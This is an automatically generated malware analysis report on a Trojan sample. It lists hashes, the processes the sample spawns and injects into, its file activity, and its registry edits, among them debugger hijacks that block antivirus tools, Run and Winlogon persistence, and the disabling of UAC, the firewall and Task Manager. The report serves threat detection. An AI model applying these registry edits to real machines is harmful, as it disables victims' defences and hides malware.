Trojan.GenericKD.1978286_e76a24273c – Adaware

Trojan.MSIL.Citron.jgb (Kaspersky), Trojan.GenericKD.1978286 (AdAware), Backdoor.Win32.Fynloski.FD, Packed.Win32.Themida.FD, Trojan-Downloader.Win32.Karagany.1.FD, Trojan.Win32.Delphi.FD, Trojan.Win32.Iconomon.FD, Trojan.Win32.Sasfis.FD, VirTool.Win32.DelfInject.FD, mzpefinder_pcap_file.YR, BackdoorFynloski.YR, GenericDownloader.YR, GenericInjector.YR, PackedThemida.YR, TrojanDownloaderAndromeda.YR (Lavasoft MAS)Behaviour: Trojan-Downloader, Trojan, Backdoor, Packed, VirTool

The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Summary

MD5: e76a24273c60ba2a2b4dbd15607c6a32

SHA1: b3c1d9c246ba4bcec5a26b0c964432f055db32d9

SHA256: d982528846e98f2256c800bde37cbc2a68205f46e1cb5d5afa08166dda9d60e4

SSDeep: 24576:n4lavt0LkLL9IMixoEgeaLEBsRZqckckiHKeyuTq9MmCS:Ckwkn9IMHeaLlKWjHLaPCS

Size: 1174528 bytes

File type: EXE

Platform: WIN32

Entropy: Packed

PEID: UPolyXv05_v6

Company: Premium Installer

Created at: 2014-11-13 05:37:00

Analyzed on: WindowsXPESX SP3 32-bit

Summary: Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

attrib.exe:1944
attrib.exe:912
%original file name%.exe:1328
5856858568.exe:1748
winmgrx.exe:1236
411.exe:1156
5765856.exe:304
dhgjdk.exe:224
7247.exe:676
ere.exe:168

The Trojan injects its code into the following process(es):

winmgr.exe:608
notepad.exe:2128
351dv9.exe:2176
iexplore.exe:2080

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process winmgr.exe:608 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\dhgjdk.exe (964 bytes)
%System%\drivers\etc\hosts (36 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\5856858568.exe (1320 bytes)
%System%\Microsoft.com (1281 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\ere.exe (27819 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\5765856.exe (1012 bytes)
%System%\wbem\Logs\wbemprox.log (76 bytes)

The process %original file name%.exe:1328 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\411\411.exe (223 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut3F.tmp (2513 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cqdojqd (6577 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\411\411.exe (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\aut3F.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\cqdojqd (0 bytes)

The process 5856858568.exe:1748 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\40.tmp\start64.bat (65 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\40.tmp (0 bytes)

The process 411.exe:1156 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Program Files%\Windows Manager\winmgr.exe (1281 bytes)

The process 351dv9.exe:2176 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\0f44fa93-41f3-4e4d-8aa4-64d2fce1633c\AgileDotNetRT.dll (5442 bytes)

The process 5765856.exe:304 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\42.tmp\start32.bat (59 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\42.tmp (0 bytes)

The process dhgjdk.exe:224 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Application Data\351dv9.exe (100763 bytes)

The process 7247.exe:676 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\My Documents\WindowsManager\winmgrx.exe (4545 bytes)
%System%\drivers\etc\hosts (44 bytes)

The process ere.exe:168 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\aut41.tmp (7057 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\odavxle (15929 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7247\7247.exe (3747 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\aut41.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\odavxle (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\7247\7247.exe (0 bytes)

Registry activity

The process attrib.exe:1944 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "7E 43 53 DA 42 7C C0 B3 1D 8D CE 76 6D BD B1 7D"

The process attrib.exe:912 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E6 3F DE 39 FE F3 A0 F4 85 5A 2A 29 CF 0A 95 F5"

The process winmgr.exe:608 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ComboFix.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVP.EXE]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe]
"debugger" = "%System%\Microsoft.com"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"5856858568.exe" = "5856858568"

[HKCU\Software\VB and VBA Program Settings\Microsoft\Sysinternals]
"s" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wireshark.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamscheduler.exe]
"debugger" = "%System%\Microsoft.com"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgidsagent.exe]
"debugger" = "%System%\Microsoft.com"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamservice.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgwdsvc.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avconfig.exe]
"debugger" = "%System%\Microsoft.com"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spybotsd.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbampt.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgui.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ccuac.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AVGNT.EXE]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastUI.exe]
"debugger" = "%System%\Microsoft.com"

[HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows]
"load" = "%System%\Microsoft.com"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\winmgr.exe]
"DisableExceptionChainValidation" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe]
"debugger" = "%System%\Microsoft.com"

[HKCU\Software\VB and VBA Program Settings\Microsoft\Sysinternals]
"3243" = "%Program Files%\Windows Manager\winmgr.exe"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgcsrvx.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbam.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mbamgui.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastSvc.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MSASCui.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avguard.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "DE 1E 8D A9 0A F6 39 F5 86 AF 1F D8 B0 4D 4E 5E"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\zlclient.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MpCmdRun.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgrsx.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\keyscrambler.exe]
"debugger" = "%System%\Microsoft.com"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"dhgjdk.exe" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avscan.exe]
"debugger" = "%System%\Microsoft.com"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"ere.exe" = "ere"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bdagent.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avcenter.exe]
"debugger" = "%System%\Microsoft.com"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HijackThis.exe]
"debugger" = "%System%\Microsoft.com"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp]
"5765856.exe" = "5765856"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\instup.exe]
"debugger" = "%System%\Microsoft.com"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rstrui.exe]
"debugger" = "%System%\Microsoft.com"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process %original file name%.exe:1328 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CF 94 43 71 6A 2A 89 7D F2 81 86 CD 8D 86 BD 25"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\411]
"411.exe" = "411"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process notepad.exe:2128 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "AA 90 BB 70 FD 9A 62 EE DA 74 4D 01 97 9B A4 81"

The process 5856858568.exe:1748 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "01 21 6F 50 C1 8A 04 0D CC 45 45 1A B0 D6 AB 5B"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp\40.tmp]
"start64.bat" = "start64"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process winmgrx.exe:1236 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B7 A0 62 21 6C 06 9B 42 D9 62 22 1E 70 3F E3 7D"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableRegistryTools" = "1"

[HKLM\SOFTWARE\Microsoft\Security Center]
"UpdatesDisableNotify" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\CurrentVersion\Explorern]
"NoControlPanel" = "1"

Antivirus notifications are disabled:

[HKLM\SOFTWARE\Microsoft\Security Center]
"AntiVirusDisableNotify" = "1"

User account control (UAC) is disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"EnableLUA" = "0"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"taskmngr" = "%Documents and Settings%\%current user%\My Documents\WindowsManager\winmgrx.exe"

A firewall is disabled:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"EnableFirewall" = "0"

The following service is disabled:

[HKLM\System\CurrentControlSet\Services\wscsvc]
"Start" = "4"

Firewall notifications are enabled:

[HKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile]
"DisableNotifications" = "0"

Task Manager is disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System]
"DisableTaskMgr" = "1"

The process 411.exe:1156 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4D C1 C8 12 B7 55 6A 69 0B 9D EB 90 84 06 F0 32"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Windows Manager]
"winmgr.exe" = "winmgr"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process 351dv9.exe:2176 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C2 5A 81 B1 BE FB C5 C8 DD 9A AE 46 2C B9 3B CB"

The process 5765856.exe:304 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FF 90 B8 02 CB 92 B0 E7 19 AE A6 0F A8 1C 3B 40"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\Local Settings\Temp\42.tmp]
"start32.bat" = "start32"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process dhgjdk.exe:224 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "21 BF 0C 8B 65 E2 F8 41 0A 23 78 57 12 87 A6 8F"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%]
"Application Data/351dv9.exe" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The process 7247.exe:676 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "42 BB 95 EA CE 38 45 CB 37 A3 10 F4 06 9A DE 84"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Documents and Settings%\%current user%\My Documents\WindowsManager]
"winmgrx.exe" = "Remote Service Application"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"taskmngr" = "%Documents and Settings%\%current user%\My Documents\WindowsManager\winmgrx.exe"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

The Trojan adds the reference to itself to be executed when a user logs on:

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"UserInit" = "%System%\userinit.exe,%Documents and Settings%\%current user%\My Documents\WindowsManager\winmgrx.exe"

The process ere.exe:168 makes changes in the system registry.

